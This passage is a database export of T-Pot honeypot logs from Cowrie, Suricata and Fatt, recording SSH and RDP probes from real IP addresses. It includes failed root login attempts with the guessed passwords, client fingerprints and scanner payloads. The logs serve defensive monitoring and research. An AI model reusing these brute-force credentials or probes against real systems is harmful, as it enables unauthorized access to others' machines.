Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 10576079594761, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 64995, "dest_port": 3389, "timestamp": "2021-09-20T11:24:39.756379Z", "@timestamp": "2021-09-20T11:24:39.756Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29306	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:24:40.708616+03	2021-09-20 14:30:03.959523+03	{"_id": "gAbzAnwBvYTbRNuEcTR7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/299792458] failed", "session": "b825353b6cb6", "@version": "1", "password": "299792458", "username": "root", "timestamp": "2021-09-20T11:24:40.708616Z", "@timestamp": "2021-09-20T11:24:40.708Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29307	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:24:41.973869+03	2021-09-20 14:30:03.960524+03	{"_id": "ggbzAnwBvYTbRNuEdTRk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "b825353b6cb6", "@version": "1", "duration": 5.477108478546143, "timestamp": "2021-09-20T11:24:41.973869Z", "@timestamp": "2021-09-20T11:24:41.973Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29309	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:24:36.499155+03	2021-09-20 14:30:03.963523+03	{"_id": "ZQbzAnwBvYTbRNuEYDTV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 61097, "timestamp": "2021-09-20T11:24:36.499155", "@timestamp": "2021-09-20T11:24:36.499Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29310	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:25:01.472005+03	2021-09-20 14:30:03.964523+03	{"_id": "vgbzAnwBvYTbRNuEwjSJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37387, "timestamp": "2021-09-20T11:25:01.472005", "@timestamp": "2021-09-20T11:25:01.472Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29311	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:25:01.471499+03	2021-09-20 14:30:03.965524+03	{"_id": "vwbzAnwBvYTbRNuEwzSN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "c93154576def", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:25:01.471499Z", "@timestamp": "2021-09-20T11:25:01.471Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29312	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:25:01.730527+03	2021-09-20 14:30:03.966524+03	{"_id": "wQbzAnwBvYTbRNuEwzSP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "c93154576def", "@version": "1", "timestamp": "2021-09-20T11:25:01.730527Z", "@timestamp": "2021-09-20T11:25:01.730Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29313	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:25:01.729814+03	2021-09-20 14:30:03.968524+03	{"_id": "wwbzAnwBvYTbRNuExTRA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 2058824509569502, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37387, "dest_port": 22, "timestamp": "2021-09-20T11:25:01.729814Z", "@timestamp": "2021-09-20T11:25:01.729Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29314	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:25:01.729904+03	2021-09-20 14:30:03.970524+03	{"_id": "xAbzAnwBvYTbRNuExjRx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 37387, "dest_port": 22, "timestamp": "2021-09-20T11:25:01.729904", "@timestamp": "2021-09-20T11:25:01.729Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29315	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:25:04.012826+03	2021-09-20 14:30:03.971523+03	{"_id": "ygbzAnwBvYTbRNuEyzRe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "f36a36e47d5d", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:25:04.012826Z", "@timestamp": "2021-09-20T11:25:04.012Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29316	123.126.106.88	109.199.241.180	Suricata	2021-09-20 14:25:04.392651+03	2021-09-20 14:30:03.972523+03	{"_id": "zQbzAnwBvYTbRNuEzTQR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:25:03.632282+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.126.106.88", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1295718342960602, "payload": "AAADzAYUkyVyLOCiCyYUp51NJFYs8wAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48368, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:25:04.392651Z", "@timestamp": "2021-09-20T11:25:04.392Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......%r,...&...M$V,....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
29317	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:25:04.013405+03	2021-09-20 14:30:03.974524+03	{"_id": "zgbzAnwBvYTbRNuEzjRC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "123.126.106.88", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48368, "timestamp": "2021-09-20T11:25:04.013405", "@timestamp": "2021-09-20T11:25:04.013Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29318	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:25:04.393202+03	2021-09-20 14:30:03.975524+03	{"_id": "0QbzAnwBvYTbRNuEzzRH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "f36a36e47d5d", "@version": "1", "timestamp": "2021-09-20T11:25:04.393202Z", "@timestamp": "2021-09-20T11:25:04.393Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29319	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:25:04.825545+03	2021-09-20 14:30:03.976524+03	{"_id": "0gbzAnwBvYTbRNuEzzRH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/2wsx1qaz] failed", "session": "c93154576def", "@version": "1", "password": "2wsx1qaz", "username": "root", "timestamp": "2021-09-20T11:25:04.825545Z", "@timestamp": "2021-09-20T11:25:04.825Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
